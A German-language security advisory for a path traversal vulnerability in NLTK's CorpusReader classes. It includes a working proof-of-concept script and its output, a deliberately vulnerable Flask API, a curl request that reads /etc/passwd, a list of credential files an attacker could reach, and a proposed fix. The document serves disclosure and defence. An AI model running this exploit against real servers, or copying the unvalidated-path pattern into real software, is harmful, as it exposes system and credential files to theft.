
Eine Schwachstelle in NLTK-Versionen bis einschließlich 3.9.2 ermöglicht das beliebige Lesen von Dateien über Path Traversal in mehreren CorpusReader-Klassen, einschließlich WordListCorpusReader, TaggedCorpusReader und BracketParseCorpusReader.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-0847 |
| Paket | nltk (Natural Language Toolkit) |
| Registry | PyPI |
| Betroffene Versionen | <= 3.9.2 |
| Schwachstellentyp | CWE-22: Path Traversal |
| CVSS-Score | 8.6 (Hoch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung auf Vertraulichkeit | Hoch |
| Auswirkung auf Integrität | Niedrig |
| Auswirkung auf Verfügbarkeit | Niedrig |
| Gemeldet am | 4. Dezember 2025 |
| CVE veröffentlicht | 4. März 2026 |
| Unterstützt von | Palo Alto Networks / Prisma AIRS |
| Status | Behoben |
Mehrere CorpusReader-Klassen in der NLTK-Bibliothek akzeptieren Dateipfad-Argumente, ohne eine Pfad-Kanonisierung, Allowlist-Validierung oder Sandbox-Einschränkungen anzuwenden. Wenn ein Angreifer den Korpus-Dateinamen oder die Dateieingabe kontrolliert – ein häufiges Szenario in Machine-Learning-APIs, upload-basierten NLP-Pipelines und Chatbot-Diensten – kann er einen manipulierten Pfad angeben, um die Verzeichnishierarchie zu durchlaufen und beliebige Dateien auf dem Server zu lesen.
Diese Schwachstelle ist besonders kritisch in vernetzten Bereitstellungen, in denen NLTK benutzerkontrollierte Dateipfade verarbeitet, da für ihre Ausnutzung keine Authentifizierung oder Privilegien erforderlich sind.
| Klasse | Datei | Status |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Verwundbar |
TaggedCorpusReader | tagged.py L1–L140 | Verwundbar |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Verwundbar |
| Andere Klassen, die dasselbe Basis-Muster verwenden | — | Umfassendere Prüfung ausstehend |
Alle drei Klassen erben dieselbe unsichere CorpusReader.open()-Methode, die vor der Auflösung und dem Lesen der übergebenen Dateikennung keinerlei Pfadbeschränkungen durchführt.
Eine erfolgreiche Ausnutzung dieser Schwachstelle kann Folgendes zur Folge haben:
/etc/passwd, /etc/shadow und /var/log/auth.log~/.ssh/id_rsa), .env-Dateien, API-Tokens und Cloud-Zugangsdaten-Dateien können extrahiert werdenDiese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Ausgabe (gekürzt):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Ein realistisches Szenario, in dem NLTK über eine HTTP-API bereitgestellt wird:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Angreifer-Anfrage:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Ergebnis: Der vollständige Inhalt von /etc/passwd wird ohne erforderliche Authentifizierung an den Angreifer zurückgegeben.
Die Schwachstelle hat ihren Ursprung in CorpusReader.open(). Die Methode löst die übergebene fileid mithilfe von FileSystemPathPointer.join() direkt gegen den konfigurierten Stammpfad auf, ohne dabei eine der folgenden Prüfungen durchzuführen:
..)Da FileSystemPathPointer mit / initialisiert werden kann, hat ein Angreifer, der das Dateinamen-Argument kontrolliert, uneingeschränkten Lesezugriff auf das gesamte Dateisystem.
Minimaler, vom Forscher vorgeschlagener Fix, der innerhalb von CorpusReader.open() angewendet werden soll:
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
Der Upstream-Fix-PR ist verfügbar unter: https://github.com/nltk/nltk/pull/3479